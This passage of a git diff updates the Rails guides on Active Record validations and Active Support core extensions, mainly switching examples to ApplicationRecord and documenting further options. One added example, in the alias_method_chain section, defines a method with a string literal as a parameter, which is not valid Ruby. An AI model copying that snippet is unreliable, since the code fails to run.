service, confirm reading some text, or any similar -concept. This validation is very specific to web applications and this -'acceptance' does not need to be recorded anywhere in your database (if you -don't have a field for it, the helper will just create a virtual attribute). +application's terms of service, confirm that some text is read, or any similar +concept. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :terms_of_service, acceptance: true end ``` +This check is performed only if `terms_of_service` is not `nil`. The default error message for this helper is _"must be accepted"_. +You can also pass custom message via the `message` option. + +```ruby +class Person < ApplicationRecord + validates :terms_of_service, acceptance: true, message: 'must be abided' +end +``` -It can receive an `:accept` option, which determines the value that will be -considered acceptance. It defaults to "1" and can be easily changed. +It can also receive an `:accept` option, which determines the allowed values +that will be considered as accepted. It defaults to `['1', true]` and can be +easily changed. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :terms_of_service, acceptance: { accept: 'yes' } + validates :eula, acceptance: { accept: ['TRUE', 'accepted'] } end ``` +This validation is very specific to web applications and this +'acceptance' does not need to be recorded anywhere in your database. If you +don't have a field for it, the helper will just create a virtual attribute. If +the field does exist in your database, the `accept` option must be set to +or include `true` or else the validation will not run. + ### `validates_associated` You should use this helper when your model has associations with other models @@ -301,7 +318,7 @@ and they also need to be validated. When you try to save your object, `valid?` will be called upon each one of the associated objects. ```ruby -class Library < ActiveRecord::Base +class Library < ApplicationRecord has_many :books validates_associated :books end @@ -324,7 +341,7 @@ or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :email, confirmation: true end ``` @@ -338,15 +355,25 @@ In your view template you could use something like This check is performed only if `email_confirmation` is not `nil`. To require confirmation, make sure to add a presence check for the confirmation attribute -(we'll take a look at `presence` later on this guide): +(we'll take a look at `presence` later on in this guide): ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :email, confirmation: true validates :email_confirmation, presence: true end ``` +There is also a `:case_sensitive` option that you can use to define whether the +confirmation constraint will be case sensitive or not. This option defaults to +true. + +```ruby +class Person < ApplicationRecord + validates :email, confirmation: { case_sensitive: false } +end +``` + The default error message for this helper is _"doesn't match confirmation"_. ### `exclusion` @@ -355,7 +382,7 @@ This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object. ```ruby -class Account < ActiveRecord::Base +class Account < ApplicationRecord validates :subdomain, exclusion: { in: %w(www us ca jp), message: "%{value} is reserved." } end @@ -375,7 +402,7 @@ This helper validates the attributes' values by testing whether they match a given regular expression, which is specified using the `:with` option. ```ruby -class Product < ActiveRecord::Base +class Product < ApplicationRecord validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/, message: "only allows letters" } end @@ -391,7 +418,7 @@ This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object. ```ruby -class Coffee < ActiveRecord::Base +class Coffee < ApplicationRecord validates :size, inclusion: { in: %w(small medium large), message: "%{value} is not a valid size" } end @@ -410,7 +437,7 @@ This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways: ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :name, length: { minimum: 2 } validates :bio, length: { maximum: 500 } validates :password, length: { in: 6..20 } @@ -433,27 +460,12 @@ number corresponding to the length constraint being used. You can still use the `:message` option to specify an error message. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :bio, length: { maximum: 1000, too_long: "%{count} characters is the maximum allowed" } end ``` -This helper counts characters by default, but you can split the value in a -different way using the `:tokenizer` option: - -```ruby -class Essay < ActiveRecord::Base - validates :content, length: { - minimum: 300, - maximum: 400, - tokenizer: lambda { |str| str.split(/\s+/) }, - too_short: "must have at least %{count} words", - too_long: "must have at most %{count} words" - } -end -``` - Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when `:minimum` is 1 you should provide a personalized message or use `presence: true` instead. When @@ -480,7 +492,7 @@ WARNING. Note that the regular expression above allows a trailing newline character. ```ruby -class Player < ActiveRecord::Base +class Player < ApplicationRecord validates :points, numericality: true validates :games_played, numericality: { only_integer: true } end @@ -499,9 +511,11 @@ constraints to acceptable values: default error message for this option is _"must be equal to %{count}"_. * `:less_than` - Specifies the value must be less than the supplied value. The default error message for this option is _"must be less than %{count}"_. -* `:less_than_or_equal_to` - Specifies the value must be less than or equal the - supplied value. The default error message for this option is _"must be less - than or equal to %{count}"_. +* `:less_than_or_equal_to` - Specifies the value must be less than or equal to + the supplied value. The default error message for this option is _"must be + less than or equal to %{count}"_. +* `:other_than` - Specifies the value must be other than the supplied value. + The default error message for this option is _"must be other than %{count}"_. * `:odd` - Specifies the value must be an odd number if set to true. The default error message for this option is _"must be odd"_. * `:even` - Specifies the value must be an even number if set to true. The @@ -518,7 +532,7 @@ This helper validates that the specified attributes are not empty. It uses the is, a string that is either empty or consists of whitespace. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :name, :login, :email, presence: true end ``` @@ -528,7 +542,7 @@ whether the associated object itself is present, and not the foreign key used to map the association. ```ruby -class LineItem < ActiveRecord::Base +class LineItem < ApplicationRecord belongs_to :order validates :order, presence: true end @@ -538,7 +552,7 @@ In order to validate associated records whose presence is required, you must specify the `:inverse_of` option for the association: ```ruby -class Order < ActiveRecord::Base +class Order < ApplicationRecord has_many :line_items, inverse_of: :order end ``` @@ -551,7 +565,6 @@ Since `false.blank?` is true, if you want to validate the presence of a boolean field you should use one of the following validations: ```ruby -validates :boolean_field_name, presence: true validates :boolean_field_name, inclusion: { in: [true, false] } validates :boolean_field_name, exclusion: { in: [nil] } ``` @@ -566,7 +579,7 @@ This helper validates that the specified attributes are absent. It uses the is, a string that is either empty or consists of whitespace. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :name, :login, :email, absence: true end ``` @@ -576,7 +589,7 @@ whether the associated object itself is absent, and not the foreign key used to map the association. ```ruby -class LineItem < ActiveRecord::Base +class LineItem < ApplicationRecord belongs_to :order validates :order, absence: true end @@ -586,7 +599,7 @@ In order to validate associated records whose absence is required, you must specify the `:inverse_of` option for the association: ```ruby -class Order < ActiveRecord::Base +class Order < ApplicationRecord has_many :line_items, inverse_of: :order end ``` @@ -609,7 +622,7 @@ with the same value for a column that you intend to be unique. To avoid that, you must create a unique index on that column in your database. ```ruby -class Account < ActiveRecord::Base +class Account < ApplicationRecord validates :email, uniqueness: true end ``` @@ -617,23 +630,23 @@ end The validation happens by performing an SQL query into the model's table, searching for an existing record with the same value in that attribute. -There is a `:scope` option that you can use to specify other attributes that +There is a `:scope` option that you can use to specify one or more attributes that are used to limit the uniqueness check: ```ruby -class Holiday < ActiveRecord::Base +class Holiday < ApplicationRecord validates :name, uniqueness: { scope: :year, message: "should happen once per year" } end ``` -Should you wish to create a database constraint to prevent possible violations of a uniqueness validation using the `:scope` option, you must create a unique index on both columns in your database. See [the MySQL manual](http://dev.mysql.com/doc/refman/5.6/en/multiple-column-indexes.html) for more details about multiple column indexes or [the PostgreSQL manual](http://www.postgresql.org/docs/9.4/static/ddl-constraints.html) for examples of unique constraints that refer to a group of columns. +Should you wish to create a database constraint to prevent possible violations of a uniqueness validation using the `:scope` option, you must create a unique index on both columns in your database. See [the MySQL manual](http://dev.mysql.com/doc/refman/5.7/en/multiple-column-indexes.html) for more details about multiple column indexes or [the PostgreSQL manual](http://www.postgresql.org/docs/current/static/ddl-constraints.html) for examples of unique constraints that refer to a group of columns. There is also a `:case_sensitive` option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :name, uniqueness: { case_sensitive: false } end ``` @@ -656,7 +669,7 @@ class GoodnessValidator < ActiveModel::Validator end end -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates_with GoodnessValidator end ``` @@ -684,7 +697,7 @@ class GoodnessValidator < ActiveModel::Validator end end -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates_with GoodnessValidator, fields: [:first_name, :last_name] end ``` @@ -697,7 +710,7 @@ If your validator is complex enough that you want instance variables, you can easily use a plain old Ruby object instead: ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validate do |person| GoodnessValidator.new(person).validate end @@ -726,7 +739,7 @@ passed to `validates_each` will be tested against it. In the following example, we don't want names and surnames to begin with lower case. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates_each :name, :surname do |record, attr, value| record.errors.add(attr, 'must start with upper case') if value =~ /\A[[:lower:]]/ end @@ -749,7 +762,7 @@ The `:allow_nil` option skips the validation when the value being validated is `nil`. ```ruby -class Coffee < ActiveRecord::Base +class Coffee < ApplicationRecord validates :size, inclusion: { in: %w(small medium large), message: "%{value} is not a valid size" }, allow_nil: true end @@ -762,7 +775,7 @@ will let validation pass if the attribute's value is `blank?`, like `nil` or an empty string for example. ```ruby -class Topic < ActiveRecord::Base +class Topic < ApplicationRecord validates :title, length: { is: 5 }, allow_blank: true end @@ -775,7 +788,36 @@ Topic.create(title: nil).valid? # => true As you've already seen, the `:message` option lets you specify the message that will be added to the `errors` collection when validation fails. When this option is not used, Active Record will use the respective default error message -for each validation helper. +for each validation helper. The `:message` option accepts a `String` or `Proc`. + +A `String` `:message` value can optionally contain any/all of `%{value}`, +`%{attribute}`, and `%{model}` which will be dynamically replaced when +validation fails. + +A `Proc` `:message` value is given two arguments: the object being validated, and +a hash with `:model`, `:attribute`, and `:value` key-value pairs. + +```ruby +class Person < ApplicationRecord + # Hard-coded message + validates :name, presence: { message: "must be given please" } + + # Message with dynamic attribute value. %{value} will be replaced with + # the actual value of the attribute. %{attribute} and %{model} also + # available. + validates :age, numericality: { message: "%{value} seems wrong" } + + # Proc + validates :username, + uniqueness: { + # object = person object being validated + # data = { model: "Person", attribute: "Username", value: <username> } + message: ->(object, data) do + "Hey #{object.name}!, #{data[:value]} is taken already! Try again #{Time.zone.tomorrow}" + end + } +end +``` ### `:on` @@ -787,7 +829,7 @@ new record is created or `on: :update` to run the validation only when a record is updated. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord # it will be possible to update email with a duplicated value validates :email, uniqueness: true, on: :create @@ -799,6 +841,25 @@ class Person < ActiveRecord::Base end ``` +You can also use `on:` to define custom context. +Custom contexts need to be triggered explicitly +by passing name of the context to `valid?`, `invalid?` or `save`. + +```ruby +class Person < ApplicationRecord + validates :email, uniqueness: true, on: :account_setup + validates :age, numericality: true, on: :account_setup +end + +person = Person.new +``` + +`person.valid?(:account_setup)` executes both the validations +without saving the model. And `person.save(context: :account_setup)` +validates `person` in `account_setup` context before saving. +On explicit triggers, model is validated by +validations of only that context and validations without context. + Strict Validations ------------------ @@ -806,17 +867,17 @@ You can also specify validations to be strict and raise `ActiveModel::StrictValidationFailed` when the object is invalid. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :name, presence: { strict: true } end Person.new.valid? # => ActiveModel::StrictValidationFailed: Name can't be blank ``` -There is also an ability to pass custom exception to `:strict` option. +There is also the ability to pass a custom exception to the `:strict` option. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :token, presence: true, uniqueness: true, strict: TokenGenerationException end @@ -840,7 +901,7 @@ to the name of a method that will get called right before validation happens. This is the most commonly used option. ```ruby -class Order < ActiveRecord::Base +class Order < ApplicationRecord validates :card_number, presence: true, if: :paid_with_card? def paid_with_card? @@ -856,7 +917,7 @@ contain valid Ruby code. You should use this option only when the string represents a really short condition. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :surname, presence: true, if: "name.nil?" end ``` @@ -869,7 +930,7 @@ inline condition instead of a separate method. This option is best suited for one-liners. ```ruby -class Account < ActiveRecord::Base +class Account < ApplicationRecord validates :password, confirmation: true, unless: Proc.new { |a| a.password.blank? } end @@ -877,11 +938,11 @@ end ### Grouping Conditional validations -Sometimes it is useful to have multiple validations use one condition, it can +Sometimes it is useful to have multiple validations use one condition. It can be easily achieved using `with_options`. ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord with_options if: :is_admin? do |admin| admin.validates :password, length: { minimum: 10 } admin.validates :email, presence: true @@ -889,8 +950,8 @@ class User < ActiveRecord::Base end ``` -All validations inside of `with_options` block will have automatically passed -the condition `if: :is_admin?` +All validations inside of the `with_options` block will have automatically +passed the condition `if: :is_admin?` ### Combining Validation Conditions @@ -899,7 +960,7 @@ should happen, an `Array` can be used. Moreover, you can apply both `:if` and `:unless` to the same validation. ```ruby -class Computer < ActiveRecord::Base +class Computer < ApplicationRecord validates :mouse, presence: true, if: ["market.retail?", :desktop?], unless: Proc.new { |c| c.trackpad.present? } @@ -953,7 +1014,7 @@ class EmailValidator < ActiveModel::EachValidator end end -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :email, presence: true, email: true end ``` @@ -965,14 +1026,19 @@ own custom validators. You can also create methods that verify the state of your models and add messages to the `errors` collection when they are invalid. You must then -register these methods by using the `validate` class method, passing in the -symbols for the validation methods' names. +register these methods by using the `validate` +([API](http://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate)) +class method, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered. +The `valid?` method will verify that the errors collection is empty, +so your custom validation methods should add errors to it when you +wish validation to fail: + ```ruby -class Invoice < ActiveRecord::Base +class Invoice < ApplicationRecord validate :expiration_date_cannot_be_in_the_past, :discount_cannot_be_greater_than_total_value @@ -990,12 +1056,13 @@ class Invoice < ActiveRecord::Base end ``` -By default such validations will run every time you call `valid?`. It is also -possible to control when to run these custom validations by giving an `:on` -option to the `validate` method, with either: `:create` or `:update`. +By default, such validations will run every time you call `valid?` +or save the object. But it is also possible to control when to run these +custom validations by giving an `:on` option to the `validate` method, +with either: `:create` or `:update`. ```ruby -class Invoice < ActiveRecord::Base +class Invoice < ApplicationRecord validate :active_customer, on: :create def active_customer @@ -1016,7 +1083,7 @@ The following is a list of the most commonly used methods. Please refer to the ` Returns an instance of the class `ActiveModel::Errors` containing all errors. Each key is the attribute name and the value is an array of strings with all errors. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :name, presence: true, length: { minimum: 3 } end @@ -1035,7 +1102,7 @@ person.errors.messages # => {} `errors[]` is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :name, presence: true, length: { minimum: 3 } end @@ -1055,10 +1122,12 @@ person.errors[:name] ### `errors.add` -The `add` method lets you manually add messages that are related to particular attributes. You can use the `errors.full_messages` or `errors.to_a` methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). `add` receives the name of the attribute you want to add the message to, and the message itself. +The `add` method lets you add an error message related to a particular attribute. It takes as arguments the attribute and the error message. + +The `errors.full_messages` method (or its equivalent, `errors.to_a`) returns the error messages in a user-friendly format, with the capitalized attribute name prepended to each message, as shown in the examples below. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord def a_method_used_for_validation_purposes errors.add(:name, "cannot contain the characters !@#%*()_-+=") end @@ -1073,12 +1142,12 @@ person.errors.full_messages # => ["Name cannot contain the characters !@#%*()_-+="] ``` -Another way to do this is using `[]=` setter +An equivalent to `errors#add` is to use `<<` to append a message to the `errors.messages` array for an attribute: ```ruby - class Person < ActiveRecord::Base + class Person < ApplicationRecord def a_method_used_for_validation_purposes - errors.add(:name, "cannot contain the characters !@#%*()_-+=") + errors.messages[:name] << "cannot contain the characters !@#%*()_-+=" end end @@ -1097,7 +1166,7 @@ You can specify a validator type to the returned error details hash using the `errors.add` method. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord def a_method_used_for_validation_purposes errors.add(:name, :invalid_characters) end @@ -1113,7 +1182,7 @@ To improve the error details to contain the unallowed characters set for instanc you can pass additional keys to `errors.add`. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord def a_method_used_for_validation_purposes errors.add(:name, :invalid_characters, not_allowed: "!@#%*()_-+=") end @@ -1133,7 +1202,7 @@ validator type. You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since `errors[:base]` is an array, you can simply add a string to it and it will be used as an error message. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord def a_method_used_for_validation_purposes errors[:base] << "This person is invalid because ..." end @@ -1145,7 +1214,7 @@ end The `clear` method is used when you intentionally want to clear all the messages in the `errors` collection. Of course, calling `errors.clear` upon an invalid object won't actually make it valid: the `errors` collection will now be empty, but the next time you call `valid?` or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the `errors` collection will be filled again. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :name, presence: true, length: { minimum: 3 } end @@ -1157,9 +1226,9 @@ person.errors[:name] person.errors.clear person.errors.empty? # => true -p.save # => false +person.save # => false -p.errors[:name] +person.errors[:name] # => ["can't be blank", "is too short (minimum is 3 characters)"] ``` @@ -1168,7 +1237,7 @@ p.errors[:name] The `size` method returns the total number of error messages for the object. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord validates :name, presence: true, length: { minimum: 3 } end diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md index 66626f41d1..5462e6b2b8 100644 --- a/guides/source/active_support_core_extensions.md +++ b/guides/source/active_support_core_extensions.md @@ -172,7 +172,7 @@ NOTE: Defined in `active_support/core_ext/object/duplicable.rb`. ### `deep_dup` -The `deep_dup` method returns deep copy of a given object. Normally, when you `dup` an object that contains other objects, Ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this: +The `deep_dup` method returns a deep copy of a given object. Normally, when you `dup` an object that contains other objects, Ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this: ```ruby array = ['string'] @@ -248,6 +248,13 @@ end @person.try { |p| "#{p.first_name} #{p.last_name}" } ``` +Note that `try` will swallow no-method errors, returning nil instead. If you want to protect against typos, use `try!` instead: + +```ruby +@number.try(:nest) # => nil +@number.try!(:nest) # NoMethodError: undefined method `nest' for 1:Fixnum +``` + NOTE: Defined in `active_support/core_ext/object/try.rb`. ### `class_eval(*args, &block)` @@ -390,7 +397,7 @@ The method `with_options` provides a way to factor out common options in a serie Given a default options hash, `with_options` yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in: ```ruby -class Account < ActiveRecord::Base +class Account < ApplicationRecord has_many :customers, dependent: :destroy has_many :products, dependent: :destroy has_many :invoices, dependent: :destroy @@ -401,7 +408,7 @@ end this way: ```ruby -class Account < ActiveRecord::Base +class Account < ApplicationRecord with_options dependent: :destroy do |assoc| assoc.has_many :customers assoc.has_many :products @@ -453,7 +460,7 @@ NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`. #### `instance_variable_names` -The method `instance_variable_names` returns an array. Each name includes the "@" sign. +The method `instance_variable_names` returns an array. Each name includes the "@" sign. ```ruby class C @@ -475,7 +482,7 @@ The methods `silence_warnings` and `enable_warnings` change the value of `$VERBO silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger } ``` -Silencing exceptions is also possible with `suppress`. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is `kind_of?` any of the arguments, `suppress` captures it and returns silently. Otherwise the exception is reraised: +Silencing exceptions is also possible with `suppress`. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is `kind_of?` any of the arguments, `suppress` captures it and returns silently. Otherwise the exception is not captured: ```ruby # If the user is locked, the increment is lost, no big deal. @@ -506,19 +513,21 @@ Extensions to `Module` ### `alias_method_chain` +**This method is deprecated in favour of using Module#prepend.** + Using plain Ruby you can wrap methods with other methods, that's called _alias chaining_. -For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap `ActionController::TestCase#process` this way in `test/test_helper.rb`: +For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap `ActionDispatch::IntegrationTest#process` this way in `test/test_helper.rb`: ```ruby -ActionController::TestCase.class_eval do +ActionDispatch::IntegrationTest.class_eval do # save a reference to the original process method alias_method :original_process, :process # now redefine process and delegate to original_process - def process(action, params=nil, session=nil, flash=nil, http_method='GET') + def process('GET', path, params: nil, headers: nil, env: nil, xhr: false) params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten] - original_process(action, params, session, flash, http_method) + original_process('GET', path, params: params) end end ``` @@ -528,10 +537,10 @@ That's the method `get`, `post`, etc., delegate the work to. That technique has a risk, it could be the case that `:original_process` was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about: ```ruby -ActionController::TestCase.class_eval do +ActionDispatch::IntegrationTest.class_eval do def process_with_stringified_params(...) params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten] - process_without_stringified_params(action, params, session, flash, http_method) + process_without_stringified_params(method, path, params: params) end alias_method :process_without_stringified_params, :process alias_method :process, :process_with_stringified_params @@ -541,17 +550,15 @@ end The method `alias_method_chain` provides a shortcut for that pattern: ```ruby -ActionController::TestCase.class_eval do +ActionDispatch::IntegrationTest.class_eval do def process_with_stringified_params(...) params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten] - process_without_stringified_params(action, params, session, flash, http_method) + process_without_stringified_params(method, path, params: params) end alias_method_chain :process, :stringified_params end ``` -Rails uses `alias_method_chain` all over the code base. For example validations are added to `ActiveRecord::Base#save` by wrapping the method that way in a separate module specialized in validations. - NOTE: Defined in `active_support/core_ext/module/aliasing.rb`. ### Attributes @@ -561,7 +568,7 @@ NOTE: Defined in `active_support/core_ext/module/aliasing.rb`. Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (one mnemonic is that they go in the same order as if you did an assignment): ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord # You can refer to the email column as "login". # This can be meaningful for authentication code. alias_attribute :login, :email @@ -625,8 +632,6 @@ module ActiveSupport mattr_accessor :load_once_paths mattr_accessor :autoloaded_constants mattr_accessor :explicitly_unloadable_constants - mattr_accessor :logger - mattr_accessor :log_activity mattr_accessor :constant_watch_stack mattr_accessor :constant_watch_stack_mutex end @@ -702,29 +707,6 @@ M.parents # => [X::Y, X, Object] NOTE: Defined in `active_support/core_ext/module/introspection.rb`. -### Constants - -The method `local_constants` returns the names of the constants that have been -defined in the receiver module: - -```ruby -module X - X1 = 1 - X2 = 2 - module Y - Y1 = :y1 - X1 = :overrides_X1_above - end -end - -X.local_constants # => [:X1, :X2, :Y] -X::Y.local_constants # => [:Y1, :X1] -``` - -The names are returned as symbols. - -NOTE: Defined in `active_support/core_ext/module/introspection.rb`. - #### Qualified Constant Names The standard methods `const_defined?`, `const_get`, and `const_set` accept @@ -869,7 +851,7 @@ The macro `delegate` offers an easy way to forward methods. Let's imagine that users in some application have login information in the `User` model but name and other data in a separate `Profile` model: ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord has_one :profile end ``` @@ -877,7 +859,7 @@ end With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly: ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord has_one :profile def name @@ -889,7 +871,7 @@ end That is what `delegate` does for you: ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord has_one :profile delegate :name, to: :profile @@ -1703,6 +1685,20 @@ The method `parameterize` normalizes its receiver in a way that can be used in p "Kurt Gödel".parameterize # => "kurt-godel" ``` +To preserve the case of the string, set the `preserve_case` argument to true. By default, `preserve_case` is set to false. + +```ruby +"John Smith".parameterize(preserve_case: true) # => "John-Smith" +"Kurt Gödel".parameterize(preserve_case: true) # => "Kurt-Godel" +``` + +To use a custom separator, override the `separator` argument. + +```ruby +"John Smith".parameterize(separator: "_") # => "john\_smith" +"Kurt Gödel".parameterize(separator: "_") # => "kurt\_godel" +``` + In fact, the result string is wrapped in an instance of `ActiveSupport::Multibyte::Chars`. NOTE: Defined in `active_support/core_ext/string/inflections.rb`. @@ -1865,15 +1861,15 @@ The methods `to_date`, `to_time`, and `to_datetime` are basically convenience wr ```ruby "2010-07-27".to_date # => Tue, 27 Jul 2010 -"2010-07-27 23:37:00".to_time # => Tue Jul 27 23:37:00 UTC 2010 +"2010-07-27 23:37:00".to_time # => 2010-07-27 23:37:00 +0200 "2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000 ``` `to_time` receives an optional argument `:utc` or `:local`, to indicate which time zone you want the time in: ```ruby -"2010-07-27 23:42:00".to_time(:utc) # => Tue Jul 27 23:42:00 UTC 2010 -"2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 +0200 2010 +"2010-07-27 23:42:00".to_time(:utc) # => 2010-07-27 23:42:00 UTC +"2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +0200 ``` Default is `:utc`. @@ -1936,6 +1932,8 @@ as well as adding or subtracting their results from a Time object. For example: (4.months + 5.years).from_now ``` +NOTE: Defined in `active_support/core_ext/numeric/time.rb` + ### Formatting Enables the formatting of numbers in a variety of ways. @@ -2001,12 +1999,14 @@ Produce a string representation of a number rounded to a precision: Produce a string representation of a number as a human-readable number of bytes: ```ruby -123.to_s(:human_size) # => 123 Bytes -1234.to_s(:human_size) # => 1.21 KB -12345.to_s(:human_size) # => 12.1 KB -1234567.to_s(:human_size) # => 1.18 MB -1234567890.to_s(:human_size) # => 1.15 GB -1234567890123.to_s(:human_size) # => 1.12 TB +123.to_s(:human_size) # => 123 Bytes +1234.to_s(:human_size) # => 1.21 KB +12345.to_s(:human_size) # => 12.1 KB +1234567.to_s(:human_size) # => 1.18 MB +1234567890.to_s(:human_size) # => 1.15 GB +1234567890123.to_s(:human_size) # => 1.12 TB +1234567890123456.to_s(:human_size) # => 1.1 PB +1234567890123456789.to_s(:human_size) # => 1.07 EB ``` Produce a string representation of a number in human-readable words: @@ -2071,30 +2071,22 @@ Extensions to `BigDecimal` -------------------------- ### `to_s` -The method `to_s` is aliased to `to_formatted_s`. This provides a convenient way to display a BigDecimal value in floating-point notation: +The method `to_s` provides a default specifier of "F". This means that a simple call to `to_s` will result in floating point representation instead of engineering notation: ```ruby BigDecimal.new(5.00, 6).to_s # => "5.0" ``` -### `to_formatted_s` - -Te method `to_formatted_s` provides a default specifier of "F". This means that a simple call to `to_formatted_s` or `to_s` will result in floating point representation instead of engineering notation: - -```ruby -BigDecimal.new(5.00, 6).to_formatted_s # => "5.0" -``` - and that symbol specifiers are also supported: ```ruby -BigDecimal.new(5.00, 6).to_formatted_s(:db) # => "5.0" +BigDecimal.new(5.00, 6).to_s(:db) # => "5.0" ``` Engineering notation is still supported: ```ruby -BigDecimal.new(5.00, 6).to_formatted_s("e") # => "0.5E1" +BigDecimal.new(5.00, 6).to_s("e") # => "0.5E1" ``` Extensions to `Enumerable` @@ -2188,7 +2180,17 @@ The method `without` returns a copy of an enumerable with the specified elements removed: ```ruby -people.without("Aaron", "Todd") +["David", "Rafael", "Aaron", "Todd"].without("Aaron", "Todd") # => ["David", "Rafael"] +``` + +NOTE: Defined in `active_support/core_ext/enumerable.rb`. + +### `pluck` + +The method `pluck` returns an array based on the given key: + +```ruby +[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name) # => ["David", "Rafael", "Aaron"] ``` NOTE: Defined in `active_support/core_ext/enumerable.rb`. @@ -2201,22 +2203,22 @@ Extensions to `Array` Active Support augments the API of arrays to ease certain ways of accessing them. For example, `to` returns the subarray of elements up to the one at the passed index: ```ruby -%w(a b c d).to(2) # => %w(a b c) +%w(a b c d).to(2) # => ["a", "b", "c"] [].to(7) # => [] ``` Similarly, `from` returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array. ```ruby -%w(a b c d).from(2) # => %w(c d) +%w(a b c d).from(2) # => ["c", "d"] %w(a b c d).from(10) # => [] [].from(0) # => [] ``` -The methods `second`, `third`, `fourth`, and `fifth` return the corresponding element (`first` is built-in). Thanks to social wisdom and positive constructiveness all around, `forty_two` is also available. +The methods `second`, `third`, `fourth`, and `fifth` return the corresponding element, as do `second_to_last` and `third_to_last` (`first` and `last` are built-in). Thanks to social wisdom and positive constructiveness all around, `forty_two` is also available. ```ruby -%w(a b c d).third # => c +%w(a b c d).third # => "c" %w(a b c d).fifth # => nil ``` @@ -2229,7 +2231,7 @@ NOTE: Defined in `active_support/core_ext/array/access.rb`. This method is an alias of `Array#unshift`. ```ruby -%w(a b c d).prepend('e') # => %w(e a b c d) +%w(a b c d).prepend('e') # => ["e", "a", "b", "c", "d"] [].prepend(10) # => [10] ``` @@ -2240,8 +2242,8 @@ NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`. This method is an alias of `Array#<<`. ```ruby -%w(a b c d).append('e') # => %w(a b c d e) -[].append([1,2]) # => [[1,2]] +%w(a b c d).append('e') # => ["a", "b", "c", "d", "e"] +[].append([1,2]) # => [[1, 2]] ``` NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`. @@ -2347,7 +2349,7 @@ Contributor.limit(2).order(:rank).to_xml To do so it sends `to_xml` to every item in turn, and collects the results under a root node. All items must respond to `to_xml`, an exception is raised otherwise. -By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with `is_a?`) and they are not hashes. In the example above that's "contributors". +By default, the name of the root element is the underscored and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with `is_a?`) and they are not hashes. In the example above that's "contributors". If there's any element that does not belong to the type of the first one the root node becomes "objects": @@ -2428,7 